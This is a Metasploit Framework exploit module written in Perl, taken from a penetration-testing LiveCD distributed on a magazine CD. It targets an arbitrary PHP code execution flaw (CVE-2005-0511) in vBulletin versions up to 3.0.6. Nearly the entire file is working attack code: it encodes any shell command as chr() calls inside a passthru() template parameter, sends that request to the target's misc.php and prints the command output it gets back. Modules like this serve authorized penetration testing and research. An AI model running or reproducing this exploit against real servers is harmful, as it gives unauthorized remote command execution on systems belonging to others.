home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / php_vbulletin_template.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  125 lines
  1. ##
  2. #        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
  3. #    Name: php_vb3_0_6.pm
  4. # License: Artistic/BSD/GPL
  5. #         Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
  6. #
  7. #
  8. #  - This is an exploit module for the Metasploit Framework, please see
  9. #     http://metasploit.com/projects/Framework for more information.
  10. ##
  11.  
  12. package Msf::Exploit::php_vbulletin_template;
  13. use base "Msf::Exploit";
  14. use strict;
  15. use Pex::Text;
  16. use bytes;
  17.  
  18. my $advanced = { };
  19.  
  20. my $info = {
  21.     'Name'     => 'vBulletin misc.php Template Name Arbitrary Code Execution',
  22.     'Version'  => '$Revision: 1.3 $',
  23.     'Authors'  => [ 'str0ke < str0ke [at] milw0rm.com >' ],
  24.     'Arch'     => [ ],
  25.     'OS'       => [ ],
  26.     'Priv'     => 0,
  27.     'UserOpts' =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 80],
  31.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  32.         'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
  33.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  34.       },
  35.  
  36.     'Description' => Pex::Text::Freeform(qq{
  37.             This module exploits an arbitrary PHP code execution flaw in the vBulletin web
  38.         forum software. This vulnerability is only present when the "Add Template Name in HTML Comments"
  39.         option is enabled. All versions of vBulletin prior to 3.0.7 are affected.
  40. }),
  41.  
  42.     'Refs' =>
  43.       [
  44.         ['OSVDB', '14047'],
  45.         ['CVE',   '2005-0511'],
  46.         ['MIL',   '81'],
  47.       ],
  48.  
  49.     'Payload' =>
  50.       {
  51.         'Space' => 512,
  52.         'Keys'  => ['cmd', 'cmd_bash'],
  53.       },
  54.  
  55.     'Keys' => ['vbulletin'],
  56.  
  57.     'DisclosureDate' => 'Feb 22 2005',
  58.   };
  59.  
  60. sub new {
  61.     my $class = shift;
  62.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  63.     return($self);
  64. }
  65.  
  66. sub Exploit {
  67.     my $self = shift;
  68.     my $target_host    = $self->GetVar('RHOST');
  69.     my $target_port    = $self->GetVar('RPORT');
  70.     my $vhost          = $self->GetVar('VHOST') || $target_host;
  71.     my $path           = $self->GetVar('RPATH');
  72.     my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;
  73.  
  74.     # Add an echo on each end for easy output capturing
  75.     $cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
  76.  
  77.     # Encode the command as a set of chr() function calls
  78.     my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
  79.  
  80.     # Create the get request data
  81.     my $data = "?do=page&template={\${passthru($byte)}}";
  82.  
  83.     my $req =
  84.       "GET $path$data HTTP/1.1\r\n".
  85.       "Host: $vhost:$target_port\r\n".
  86.       "Content-Type: application/html\r\n".
  87.       "Content-Length: ". length($data)."\r\n".
  88.       "Connection: Close\r\n".
  89.       "\r\n";
  90.  
  91.     my $s = Msf::Socket::Tcp->new(
  92.         'PeerAddr'  => $target_host,
  93.         'PeerPort'  => $target_port,
  94.         'LocalPort' => $self->GetVar('CPORT'),
  95.         'SSL'       => $self->GetVar('SSL'),
  96.       );
  97.  
  98.     if ($s->IsError){
  99.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  100.         return;
  101.     }
  102.  
  103.     $self->PrintLine("[*] Sending the malicious vBulletin request...");
  104.  
  105.     $s->Send($req);
  106.  
  107.     my $results = $s->Recv(-1, 20);
  108.     $s->Close();
  109.  
  110.     if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
  111.         my $out = $1;
  112.         $out =~ s/^\s+|\s+$//gs;
  113.         if ($out) {
  114.             $self->PrintLine('----------------------------------------');
  115.             $self->PrintLine('');
  116.             $self->PrintLine($out);
  117.             $self->PrintLine('');
  118.             $self->PrintLine('----------------------------------------');
  119.         }
  120.     }
  121.     return;
  122. }
  123.  
  124. 1;
  125.